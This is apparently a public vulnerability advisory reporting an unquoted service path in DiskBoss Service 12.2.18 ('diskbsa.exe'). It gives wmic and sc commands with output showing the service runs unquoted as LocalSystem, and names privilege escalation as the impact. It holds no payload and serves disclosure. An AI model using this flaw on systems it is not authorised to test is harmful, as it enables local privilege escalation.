DiskBoss Service 12.2.18 – ‘diskbsa.exe’ Unquoted Service Path
# Exploit Title: DiskBoss Service 12.2.18 - 'diskbsa.exe' Unquoted Service Path # Discovery by: Erick Galindo # Discovery Date: 2021-05-21 # Vendor Homepage: https://www.diskboss.com # Software : https://www.diskboss.com/setups_x64/diskboss_setup_v12.2.18_x64.exe # Tested Version: 12.2.18 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "DiskBoss" | findstr /i /v """ DiskBoss Service DiskBoss Service C:\Program Files\DiskBoss\bin\diskbsa.exe Auto # Service info C:\>sc qc "DiskBoss Service" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: DiskBoss Service TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 0 IGNORE NOMBRE_RUTA_BINARIO: C:\Program Files\DiskBoss\bin\diskbsa.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : DiskBoss Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem #Exploit: This vulnerability could permit executing code during startup or reboot with the escalated privileges. |